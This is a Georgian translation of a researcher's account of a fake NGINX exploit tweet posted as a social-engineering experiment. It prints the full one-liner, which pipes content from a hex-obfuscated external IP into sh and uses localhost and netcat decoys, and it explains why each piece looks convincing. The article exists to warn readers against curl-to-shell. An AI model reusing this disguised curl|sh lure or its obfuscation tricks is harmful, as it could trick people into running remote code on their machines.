სოციალური ექსპერიმენტის წარმატება ყალბი nginx ექსპლოიტით

Შენიშვნა. თარგმნა: ავტორი ორიგინალური ჩანაწერი, რომელიც გამოქვეყნდა 1 ივნისს, გადაწყვიტა ექსპერიმენტის ჩატარება ინფორმაციული უსაფრთხოებით დაინტერესებულთა შორის. ამისათვის მან მოამზადა ყალბი ექსპლოიტი ვებ სერვერზე გაურკვეველი დაუცველობისთვის და გამოაქვეყნა იგი თავის Twitter-ზე. მისი ვარაუდები - მყისიერად გამჟღავნებულიყო სპეციალისტების მიერ, რომლებიც დაინახავდნენ აშკარა მოტყუებას კოდში - არა მხოლოდ არ გამართლდა... მათ ყოველგვარ მოლოდინს გადააჭარბეს და პირიქით: ტვიტმა დიდი მხარდაჭერა მიიღო მრავალი ადამიანისგან, რომლებიც არ შეამოწმეთ მისი შინაარსი.

TL;DR: არავითარ შემთხვევაში არ გამოიყენოთ ფაილების მიწოდება sh ან bash-ში. ეს შესანიშნავი გზაა კომპიუტერზე კონტროლის დასაკარგავად.

მინდა გაგიზიაროთ მოკლე ისტორია კომიკური PoC ექსპლოიტის შესახებ, რომელიც შეიქმნა 31 მაისს. ის მყისიერად გამოჩნდა ახალი ამბების საპასუხოდ ალისა ესაჟ შევჩენკო, წევრი ნულოვანი დღის ინიციატივა (ZDI), რომ ინფორმაცია NGINX-ში დაუცველობის შესახებ, რომელიც იწვევს RCE-ს (დისტანციური კოდის შესრულებას) მალე გახდება ცნობილი. იმის გამო, რომ NGINX ბევრ ვებსაიტს აძლიერებს, ახალი ამბები ბომბი უნდა ყოფილიყო. მაგრამ „პასუხისმგებლიანი გამჟღავნების“ პროცესის შეფერხების გამო, მომხდარის დეტალები ცნობილი არ იყო - ეს არის სტანდარტული ZDI პროცედურა.

ტვიტი NGINX-ში დაუცველობის გამჟღავნების შესახებ

როდესაც დავასრულე მუშაობა დაბნელების ახალ ტექნიკაზე curl-ში, მე მოვიყვანე ორიგინალური ტვიტი და „გაჟონა სამუშაო PoC“, რომელიც შედგება კოდის ერთი ხაზისგან, რომელიც სავარაუდოდ იყენებს აღმოჩენილ დაუცველობას. რა თქმა უნდა, ეს სრული სისულელე იყო. ვვარაუდობდი, რომ მაშინვე გამჟღავნდებოდა და საუკეთესო შემთხვევაში, რამდენიმე რეტვიტს მივიღებდი (ოჰ კარგი).

ტვიტი ყალბი ექსპლუატაციით

თუმცა, ვერ წარმოვიდგენდი, რა მოხდა შემდეგ. ჩემი ტვიტის პოპულარობა გაიზარდა. გასაკვირია, რომ ამ მომენტში (15:00 მოსკოვის დროით 1 ივნისი) რამდენიმე ადამიანმა გააცნობიერა, რომ ეს ყალბია. ბევრი ადამიანი მას გადატვირთავს ყოველგვარი შემოწმების გარეშე (რომ აღარაფერი ვთქვათ აღფრთოვანებული ვარ მისი მშვენიერი ASCII გრაფიკით).

უბრალოდ ნახეთ რა ლამაზია!

მიუხედავად იმისა, რომ ყველა ეს მარყუჟი და ფერი შესანიშნავია, ცხადია, რომ ადამიანებს უნდა გაეტარებინათ კოდი მათ აპარატზე, რომ დაენახათ ისინი. საბედნიეროდ, ბრაუზერებიც იგივენაირად მუშაობენ და იმ ფაქტთან ერთად, რომ მე ნამდვილად არ მინდოდა იურიდიული პრობლემების შეღწევა, ჩემს საიტზე ჩაფლული კოდი მხოლოდ ექო ზარებს აკეთებდა დამატებითი კოდის დაყენების ან შესრულების მცდელობის გარეშე.

მცირე გადახრები: ქსელური, დნზმე და გუნდის სხვა ბიჭები Thug Crowd ჩვენ უკვე ცოტა ხანია ვთამაშობთ curl ბრძანებების დაბინდვის სხვადასხვა ხერხს, რადგან მაგარია... და ჩვენ ჯიქები ვართ. netspooky-მ და dnz-მა აღმოაჩინეს რამდენიმე ახალი მეთოდი, რომელიც ძალიან პერსპექტიული მეჩვენებოდა. მე შევუერთდი მხიარულებას და ვცადე IP ათობითი კონვერტაციების დამატება ხრიკების ჩანთაში. გამოდის, რომ IP ასევე შეიძლება გარდაიქმნას თექვსმეტობით ფორმატში. უფრო მეტიც, curl და სხვა NIX ხელსაწყოების უმეტესობა სიამოვნებით ჭამს თექვსმეტობითი IP-ს! ასე რომ, ეს იყო მხოლოდ დამაჯერებელი და უსაფრთხო ბრძანების ხაზის შექმნა. საბოლოოდ, მე გადავწყვიტე ეს:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

სოციალურ-ელექტრონული ინჟინერია (SEE) - მეტი, ვიდრე უბრალოდ ფიშინგი

უსაფრთხოება და გაცნობა იყო ამ ექსპერიმენტის მთავარი ნაწილი. ვფიქრობ, სწორედ ამან განაპირობა მისი წარმატება. ბრძანების ხაზი აშკარად გულისხმობდა უსაფრთხოებას "127.0.0.1" (ცნობილი ლოკალჰოსტი) მითითებით. Localhost ითვლება უსაფრთხოდ და მასზე არსებული მონაცემები არასოდეს ტოვებს თქვენს კომპიუტერს.

ნაცნობობა იყო ექსპერიმენტის მეორე ძირითადი SEE კომპონენტი. ვინაიდან სამიზნე აუდიტორია ძირითადად შედგებოდა კომპიუტერის უსაფრთხოების საფუძვლების მცოდნე ადამიანებისგან, მნიშვნელოვანი იყო კოდის შექმნა ისე, რომ მისი ნაწილები ნაცნობი და ნაცნობი ჩანდეს (და შესაბამისად უსაფრთხო). ძველი ექსპლოიტის ცნებების ელემენტების სესხება და მათი უჩვეულო გზით გაერთიანება ძალიან წარმატებული აღმოჩნდა.

ქვემოთ მოცემულია ერთი ლაინერის დეტალური ანალიზი. ამ სიაში ყველაფერი აცვია კოსმეტიკური ბუნებადა პრაქტიკულად არაფერია საჭირო მისი ფაქტობრივი მუშაობისთვის.

რა კომპონენტებია ნამდვილად საჭირო? ეს -gsS, -O 0x0238f06a, |sh და თავად ვებ სერვერი. ვებ სერვერი არ შეიცავდა რაიმე მავნე ინსტრუქციას, მაგრამ უბრალოდ ემსახურებოდა ASCII გრაფიკას ბრძანებების გამოყენებით echo სკრიპტში, რომელიც შეიცავს index.html. როდესაც მომხმარებელი შევიდა ხაზში |sh შუაში, index.html დატვირთული და შესრულებული. საბედნიეროდ, ვებ სერვერის მეურვეებს ცუდი განზრახვა არ ჰქონიათ.

• ../../../%00 — წარმოადგენს დირექტორიას მიღმა გასვლას;
• ngx_stream_module.so — გზა შემთხვევითი NGINX მოდულისკენ;
• /bin/sh%00<'protocol:TCP' - ვითომ ვიწყებთ /bin/sh სამიზნე მანქანაზე და გადამისამართება გამომავალი TCP არხზე;
• -O 0x0238f06a#PLToffset - საიდუმლო ინგრედიენტი, დამატებული #PLToffset, გამოიყურებოდეს მეხსიერების ოფსეტად, რომელიც გარკვეულწილად შეიცავს PLT-ში;
• |sh; - კიდევ ერთი მნიშვნელოვანი ფრაგმენტი. ჩვენ დაგვჭირდა გამომავალი გადამისამართება sh/bash-ზე, რათა შეგვესრულებინა კოდი, რომელიც მოდის თავდამსხმელი ვებ სერვერიდან, რომელიც მდებარეობს მისამართზე: 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - მოტყუება, რომელშიც netcat ეხება /dev/tcp/localhostრათა ყველაფერი ისევ უსაფრთხოდ გამოიყურებოდეს. ფაქტობრივად, ის არაფერს აკეთებს და შედის სილამაზის ხაზში.

ამით დასრულდა ერთსტრიქონიანი სკრიპტის გაშიფვრა და „სოციალურ-ელექტრონული ინჟინერიის“ (რთული ფიშინგის) ასპექტების განხილვა.

ვებ სერვერის კონფიგურაცია და კონტრზომები

იმის გამო, რომ ჩემი აბონენტების დიდი უმრავლესობა არის infosec/ჰაკერები, გადავწყვიტე გავხადე ვებ სერვერი ცოტა უფრო მდგრადი მათი მხრიდან „ინტერესის“ გამოვლენის მიმართ, მხოლოდ იმიტომ, რომ ბიჭებს რაიმე ჰქონდეთ გასაკეთებელი (და სახალისო იქნებოდა აწყობა). მე არ ვაპირებ აქ ჩამოვთვალო ყველა ხარვეზი, რადგან ექსპერიმენტი ჯერ კიდევ გრძელდება, მაგრამ აქ არის რამდენიმე რამ, რასაც სერვერი აკეთებს:

• აქტიურად აკონტროლებს განაწილების მცდელობებს გარკვეულ სოციალურ ქსელებში და ცვლის სხვადასხვა გადახედვის ესკიზებს, რათა წაახალისოს მომხმარებელი დააწკაპუნოს ბმულზე.
• გადამისამართებს Chrome/Mozilla/Safari/ და ა.შ. Thugcrowd-ის სარეკლამო ვიდეოზე გარსის სკრიპტის ჩვენების ნაცვლად.
• უყურებს შეჭრის/უხეში ჰაკერების აშკარა ნიშნებს და შემდეგ იწყებს მოთხოვნების გადამისამართებას NSA სერვერებზე (ჰა!).
• აინსტალირებს ტროას, ისევე როგორც BIOS rootkit-ს ყველა კომპიუტერზე, რომლის მომხმარებლებიც სტუმრობენ მასპინძელს ჩვეულებრივი ბრაუზერიდან (უბრალოდ ხუმრობა!).

ანტიმერების მცირე ნაწილი

ამ შემთხვევაში, ჩემი ერთადერთი მიზანი იყო Apache-ს ზოგიერთი მახასიათებლის დაუფლება - კერძოდ, მოთხოვნების გადამისამართების მაგარი წესები - და ვფიქრობდი: რატომაც არა?

NGINX ექსპლოიტი (რეალური!)

გამოწერა @alisaesage Twitter-ზე და თვალყური ადევნეთ ZDI-ს დიდ მუშაობას NGINX-ში ძალიან რეალური მოწყვლადობისა და შესაძლებლობების გამოყენებაში. მათი ნამუშევარი ყოველთვის მხიბლავდა და მადლობელი ვარ ალისის მოთმინებისთვის ყველა ხსენებისა და შეტყობინებების გამო, რაც ჩემმა სულელურმა ტვიტმა გამოიწვია. საბედნიეროდ, მან ასევე კარგი შედეგი გამოიღო: ხელი შეუწყო NGINX მოწყვლადობის შესახებ ცნობიერების ამაღლებას, ისევე როგორც დახვევის ბოროტად გამოწვეულ პრობლემებს.

წყარო: www.habr.com